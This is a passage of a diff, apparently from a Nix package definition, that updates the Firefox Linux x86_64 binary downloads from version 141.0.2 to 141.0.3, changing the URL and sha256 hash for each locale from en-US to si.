-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/en-US/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/en-US/firefox-141.0.3.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "bfdef92fed2171068f964eb991e849e546454545249b0271b6ccf18a51a43d6f";
+      sha256 = "e935dc3b74cf2cb1086e1e0b4a51d18e4d307e71ce6a20db64fe49d09cc78716";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/eo/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/eo/firefox-141.0.3.tar.xz";
       locale = "eo";
       arch = "linux-x86_64";
-      sha256 = "84a30b5e6e0627a60d6890fb4a8b28a851a241ef8d55afaa628bd84fb4a0d917";
+      sha256 = "052530afd49c38ae1d9bf45a4a8580b7765463e0502a7800d8573c55098e20ae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/es-AR/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/es-AR/firefox-141.0.3.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "6400559528061276ba189a278907ec21ad334971268ca5fb0e3dd31243581552";
+      sha256 = "c0bb261ed8bd997614b2cd67ed84ba46cb00d0a81cdbf36bac19a5994257bb50";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/es-CL/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/es-CL/firefox-141.0.3.tar.xz";
       locale = "es-CL";
       arch = "linux-x86_64";
-      sha256 = "a969468e7a96f1ec7118a695e6b59822738206b89469323917c49c05a284a47f";
+      sha256 = "fd81aebbd847d8ac847c14b1bd0fecc7fe3939d8e30690f46472585875f23e6e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/es-ES/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/es-ES/firefox-141.0.3.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "a62199b06c4ecf9cd6b0f875a8ff52e0a8296be2d18dacae3deade1572118e42";
+      sha256 = "4a5bb347eb890e3b43e08a491d4875846e409fc0ebef2e63669f660ff9088559";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/es-MX/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/es-MX/firefox-141.0.3.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "95488e479bc2da15952d9eace43dfd5e34ffe15c0af6837eaa64f30dd42a1b27";
+      sha256 = "02fdbe38a6ac621361f3a33cd00f7d48ab22797841e856d60fa2b069d4acc54b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/et/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/et/firefox-141.0.3.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "325ea9771c622bbb213cbb9ab04c92b3d68cd9fbb6057ed52055589cbb667ebe";
+      sha256 = "70941c683adddcae1af5f5be91b89419cfaf8b43a4a7252c71c6f74119dd4391";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/eu/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/eu/firefox-141.0.3.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "497b4684c56e1d58ebf0810254d74bca5cd5288a50d5d0b3c4aba57118b4953e";
+      sha256 = "972a4963d255e7de02e9d9efadbb1757efd2aaf557434b2086342b0a0de0224a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/fa/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/fa/firefox-141.0.3.tar.xz";
       locale = "fa";
       arch = "linux-x86_64";
-      sha256 = "6d82a669fc285e35d786900ef7bcc1bc8dc6bba4493d4c79734b91dea43a048d";
+      sha256 = "c5dc7efab021fe09f279b831b8aa07fe0efb7daa7f3a079501cb5341afc5cd26";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ff/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ff/firefox-141.0.3.tar.xz";
       locale = "ff";
       arch = "linux-x86_64";
-      sha256 = "7f13c14a16a14d761644b47ff82b58af237e3919fac0e1972d61341a8e2d9b13";
+      sha256 = "73dfd15598e6e7c58d259f08da9a4ce1e3bcb788e648bf46513c2c04cde0ec35";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/fi/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/fi/firefox-141.0.3.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "5b94b1a733947366fc8b2ddaed2bf59b5de278720a721536818d2c0efa23c7c9";
+      sha256 = "e16378f41f13f6f0618b381df48081d3f249210337c8c20b804abac0027f432e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/fr/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/fr/firefox-141.0.3.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "04c34866eba2cfae204a4c2aaaf7205f4fb1726376eed09281d548edf2a659bb";
+      sha256 = "02405cc92fce9ebc697e4680e26efbb5e2249b819dc019a7117ab7e15e611bb6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/fur/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/fur/firefox-141.0.3.tar.xz";
       locale = "fur";
       arch = "linux-x86_64";
-      sha256 = "97d59ee9f88519c188193f940c0de6cbcb1feed270802a1b96f6277bf3ee087b";
+      sha256 = "abdb82d146239caa719bbdd0ea3c93557b228040c59b110268f530c94bcfa007";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/fy-NL/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/fy-NL/firefox-141.0.3.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "07aafb174de4c4d7be661e32bea20583e05848242bada365d57bfed9105f6a6b";
+      sha256 = "58b7a105cf0c653a6a6f603680fb6f532db7630721341d5bddfa90b435b40260";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ga-IE/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ga-IE/firefox-141.0.3.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "eb853ffd568b9e2a237278b3f52ccb33b26d5f45774ec12aac2a2ab723f3b855";
+      sha256 = "b5cda01f55ad36c7bb831867294daa33774aa6345ad1845935e607851a6a073c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/gd/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/gd/firefox-141.0.3.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "e0f125b0ba49c9e515513dabcf1b376a53ef9f294bd1b6b21b486e60f4117284";
+      sha256 = "abd1e83a1bd68e30029463ab4e06e16da81c118d884a460b65dbe8888c176b4c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/gl/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/gl/firefox-141.0.3.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "73ea37fbd1764d3d62ac0fa9d8ce3e9929ee218730996c9867eeec9b729e6335";
+      sha256 = "193b1a552d54e64beeb53e33eb8d1be8d0d2e399f5921213bddfd277b7e4e99d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/gn/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/gn/firefox-141.0.3.tar.xz";
       locale = "gn";
       arch = "linux-x86_64";
-      sha256 = "83785281a9b743672c19abf400f71543477513d66971f84386d36276be575785";
+      sha256 = "e6b7d2d12404f0ecf6b893706df626fd03ecfbc941834c5243de70e28218178c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/gu-IN/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/gu-IN/firefox-141.0.3.tar.xz";
       locale = "gu-IN";
       arch = "linux-x86_64";
-      sha256 = "00aebf18ca6d6d417ea6669be39a829aac74f98fdea3ae40e9259cb3821128a3";
+      sha256 = "2b507c7ef9785ee01c5c6beb1e3333d6436b81b2028d366f171132a6707a585b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/he/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/he/firefox-141.0.3.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "dc7c3d5dc89678a4a496e59d51b61b9470df69291e0ffa0d20644d90c367d8c1";
+      sha256 = "d0a00794bfe739ce3592bef7c04e1d4c023ed12053fde3e30777a639672bf6ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/hi-IN/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/hi-IN/firefox-141.0.3.tar.xz";
       locale = "hi-IN";
       arch = "linux-x86_64";
-      sha256 = "fea984d9dea9b7be6c2f17a8972a6964552b3af64f4f95b6ef366ab88503d023";
+      sha256 = "a726e5c526d431e1db48b1c7c2a7e165a5b4ada21525470767ede11b3ecfd491";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/hr/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/hr/firefox-141.0.3.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "968db27a87df4a3c704d30db016b81cb2052fba46e35858b155156c327f8dc08";
+      sha256 = "1606ad305956ad319b0ed6be93fef16ae1444d4a9580283fc81126cdc42f7490";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/hsb/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/hsb/firefox-141.0.3.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "6bf23a73b33b643a73710248417a9ed13fd438e2fa9f8f1ebe0219214a5de1f1";
+      sha256 = "e8903b3e5deba70a9bea38fa76186bfe0127252b72d84e624b4575c523d293f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/hu/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/hu/firefox-141.0.3.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "c62f7802fd77f4292292062b50795428e691b0777af6fab0141f59f807849867";
+      sha256 = "6b2289c4ebc6a9780ee0e1c45a765e036d5372408a4757b2bafce9a504a37b77";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/hy-AM/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/hy-AM/firefox-141.0.3.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "6e6ffae9dffcad40418e7ae8dc80e6d658dd996506f2ba1dfb09b26690515548";
+      sha256 = "0bb5f079ada3dadb0fc364d194a3272a7bf7fdb2e03cf408e0a16e2aac2e1c58";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ia/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ia/firefox-141.0.3.tar.xz";
       locale = "ia";
       arch = "linux-x86_64";
-      sha256 = "5c6a8f0d145555c7b2b66f0c884d74298232cdc26f33b0dcb3e40710b878ffc4";
+      sha256 = "dfcc1f9cddf732589baa8422eea711ca236f36a5a743cf2e6050d7f7762c211a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/id/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/id/firefox-141.0.3.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "f9a3e164821aa74fd098f9e75b347990d68e50a73842235035519afd9a389898";
+      sha256 = "c0b5fb2ac764622cc3a10aeb60bc483e548d73d35113125fbe66f432bf36220e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/is/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/is/firefox-141.0.3.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "38a87ef517c80dfa6e8e90b3b0d1e44e153e0040a53ee08193d0273e15b2a64a";
+      sha256 = "91ec6acc0d488eaa203cc76ffd7c7e9e0812761f281a3d3138c56db03a4d7263";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/it/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/it/firefox-141.0.3.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "ee952c351f141881279e661d75a750b3d3cdb9d414cd08e7e748863ff26c1375";
+      sha256 = "c465319d249106d1250c82bf12452d3fa7c6720c34b467783a469491cab2a70a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ja/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ja/firefox-141.0.3.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "450ce5740c68dd87942d906813c5d483d81cfb47e32847794455be40e4a3572f";
+      sha256 = "cc85b2392b2d127ee7135155de501d09e005201b8ccef57a70ca38067d7edf0c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ka/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ka/firefox-141.0.3.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "acbf3e846e5ab77ef51726fb39d4deb6bb681e9f35b45b122df38758b263b350";
+      sha256 = "b1931ccdc07f128cae1aa04589b774b4cc65ac5decb4e34a83c059aace514d2a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/kab/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/kab/firefox-141.0.3.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "f79256027c2cd8d1793561415f5dd5c3d2277ef007db7d93335149c64083ccdf";
+      sha256 = "30876d54903ea9761228ef52325097762a07f4c32e6788dcf1340f4c7a2fe0e7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/kk/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/kk/firefox-141.0.3.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "d9808d96ef128ce43f4b73b001b53d9b858dcefda24c15a6a6f593a401c1336f";
+      sha256 = "2e3f5b378e39205927a706a80c4c8bdcd7efa465b7c5183e013fd8943ae51218";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/km/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/km/firefox-141.0.3.tar.xz";
       locale = "km";
       arch = "linux-x86_64";
-      sha256 = "0bd584d96aa2334f8b26962d8640735826a8c900b18beb21d69ae9a03fb25bb2";
+      sha256 = "a70779d314b66fd3d2c49acd3cac2c45ecbf87634f3b307dddfa23c2e04f14b7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/kn/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/kn/firefox-141.0.3.tar.xz";
       locale = "kn";
       arch = "linux-x86_64";
-      sha256 = "5676f7179cc8e9868c1ae1f79a43acec999c3641bf304ee85e31c174a1e7ca48";
+      sha256 = "88fcee7e76eb29fd325f12251e025cd5191a50dba5b0b9144cf5950e71cfdebe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ko/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ko/firefox-141.0.3.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "02a875a1ddd6c81e259c4848e4ba4d26eb085d220bf435f51acee92e123186ef";
+      sha256 = "8ce7700492e0d560f6aa3d07d96ac86110418ab198dcb7844d80d45a9666bda9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/lij/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/lij/firefox-141.0.3.tar.xz";
       locale = "lij";
       arch = "linux-x86_64";
-      sha256 = "3681a344f1aa42ea159253c1fd2c84b2a45b4d5d666add60b0989b73cbd905bc";
+      sha256 = "6d39d04672163d25ceedea83d1948bb12573861e76a40db7c4028fcb117bafe7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/lt/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/lt/firefox-141.0.3.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "ce8e43b862700e6184607cdd479624d6ec804385fd664b55ef39167603cfdf76";
+      sha256 = "23f76ddb376d0f52b19ea4ddb32a88784f2aa8245c1098b3d7478622f8cefa20";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/lv/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/lv/firefox-141.0.3.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "c6ecf2ffec6c767d8d7b4bbd5fd02bbbc4b01934588350ffa535afc2cade7601";
+      sha256 = "e49bf464dfd0b0c641247fc8d20a0fa9c827ca1038ea0186715616fa252d96c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/mk/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/mk/firefox-141.0.3.tar.xz";
       locale = "mk";
       arch = "linux-x86_64";
-      sha256 = "d127c6710b748b33b0cc8e1eff967599ce1b4429a84c239a5366d3b1b6f13a78";
+      sha256 = "d8d649d47b2ed665bc282ee5a84859d5d8d9535fb5404bc9cb532b29dccc472c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/mr/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/mr/firefox-141.0.3.tar.xz";
       locale = "mr";
       arch = "linux-x86_64";
-      sha256 = "1ee7f8c56209076a17a027d30c9c9eb5b26187026f8093697d42c69cdf23ebd9";
+      sha256 = "b68caed75fd5ca5d2d6133c33cc962ec48f30e6f0a1eeade2238d80087f8c5f0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ms/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ms/firefox-141.0.3.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "db47c92239db92d74a49187dd607b58bb0dd235313e90ebca740d51af2aad644";
+      sha256 = "234b1f31cf6e62cc2623d0c12b796103c3acc4062e6f34f80c5bbfe90c403023";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/my/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/my/firefox-141.0.3.tar.xz";
       locale = "my";
       arch = "linux-x86_64";
-      sha256 = "e71e148af4eebb5d4411af4e57ea9497ee4f475416befcc5388a45a18ba7d99b";
+      sha256 = "967fbaf3be42b7b6eb4ba5835efa1e65a4d0125af0245aec9ab87f68c343e434";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/nb-NO/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/nb-NO/firefox-141.0.3.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "127f3e414f5d23c0df278ce7948103437259bf3a1f257e32cb39cab1b58c6291";
+      sha256 = "8337db76591abb2072024762d03fe28124caa1a9605e89c7b7a85e35353cbe61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ne-NP/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ne-NP/firefox-141.0.3.tar.xz";
       locale = "ne-NP";
       arch = "linux-x86_64";
-      sha256 = "592a51f09a1a1487b7b1dd3449fa87c76941aa16da08e675ae6335e30f3fa74a";
+      sha256 = "f4c9726d7ce21dd3b70936563efbc8bf783e3d84da2a2762cbe8e416877d3ed1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/nl/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/nl/firefox-141.0.3.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "86598d8c6f1be410462aefa9984e58b0b21068005674d519cdaad21298923525";
+      sha256 = "8a04a89d515278c2d5d3741dcee78cbb2680b7f2626035f686f4f4c4234b58e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/nn-NO/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/nn-NO/firefox-141.0.3.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "5dc61c2b55f92371a03f98731de7ab56cca5dcd9f8d9d222e9cd7c68b3c238a7";
+      sha256 = "85cd04b5bd0c2ceebb59b4f445c4a0cfaedb4c4b4b9a9396c391f88829af2915";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/oc/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/oc/firefox-141.0.3.tar.xz";
       locale = "oc";
       arch = "linux-x86_64";
-      sha256 = "0f43612e70180c887d056e7e3a35f5b5e9224f6cfdfde9ac13d5ba7cc10747ba";
+      sha256 = "0630f27847f064e3aa2c95e572d842e9de3ac33b4b3b2595ea4801ae0c0f4ddf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/pa-IN/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/pa-IN/firefox-141.0.3.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "a0da80fe0bdf2e8e95eed3cd68ee151a172028f205e748f1ce99a9cfab3f98da";
+      sha256 = "451c8936508fc4fe6d15c80ed8caeeb6c988ef714c8c0cde05db1247d3b805f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/pl/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/pl/firefox-141.0.3.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "980f8d6447f2a9bd549a6f6d56bfae79f3f8f2d1806587df7f33a7bcadd34048";
+      sha256 = "4e9b8f2a222f661db29476e24dd6a2ad3d44048a5fb8989791f7ce2ed9ad0a00";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/pt-BR/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/pt-BR/firefox-141.0.3.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "8dac36b816f98ea4e89c0c03cfb386a7c178958db6de57de9a283fe089d65935";
+      sha256 = "952a8006048609953750d844b946cceb64a3ce4d19c28a21c655573d686516f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/pt-PT/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/pt-PT/firefox-141.0.3.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "859a8fc075df434bc9e3c882bc14f9845206f893c6b6596fe0e73137f9f4310c";
+      sha256 = "e0222e499f2aaaf1bbde67024548acb01a5a801a2fa9cf20e6ead985b57bf008";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/rm/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/rm/firefox-141.0.3.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "4f1c09fc3dac59fc197278cfa11de06a758cfdf5469fb47f1a9887bbc2c8c8a3";
+      sha256 = "cc5a1b6315bb7a4c5e0ff2d5f1d7c016e2a04166be5e403a1245c2e94e5773f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ro/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ro/firefox-141.0.3.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "e9c6a3e46904804f60fc090e3d143640df2ca16b610d1be96472c96217de6dd4";
+      sha256 = "6186daea4314e9598123c5089c21cf16bd3a0a06daf202eb74b1fb82cc63c6d4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ru/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ru/firefox-141.0.3.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "de69e59a37e948817723b33f2768c8e03f1e74ca2ad126d5b51c630fd3403d23";
+      sha256 = "e132dedfc3162525b55264dbf44cb0cbed144bbffc1f809543b4a6fc97b8a3cb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/sat/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/sat/firefox-141.0.3.tar.xz";
       locale = "sat";
       arch = "linux-x86_64";
-      sha256 = "7ed313e6b950e15962345fe7f1999a768ec8d57bacd83624d954526abb514ed5";
+      sha256 = "2ecdf78b2d37fcdaa446cd11e3b8dacf568636e53b21411d82a116435eec502c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/sc/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/sc/firefox-141.0.3.tar.xz";
       locale = "sc";
       arch = "linux-x86_64";
-      sha256 = "2a3db9b312d2ed54fae87ee0ba3d73b24b66118d96fe7aa8d4215c4217abdb6d";
+      sha256 = "0d7c129a54df727e424985085aa9244db225b35834cc10db558a0777a78d3354";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/sco/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/sco/firefox-141.0.3.tar.xz";
       locale = "sco";
       arch = "linux-x86_64";
-      sha256 = "35a7eff5be8ef4c4063303b445eea1616db39196b9acc5c39bc6bcd2ea7226e2";
+      sha256 = "cbca9d3ee3b188d0cfe8fe22047c0b4e1c2a60d54c56e8a33f5b6d56a6ec4933";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/si/firefox-141.0.2.tar.xz";
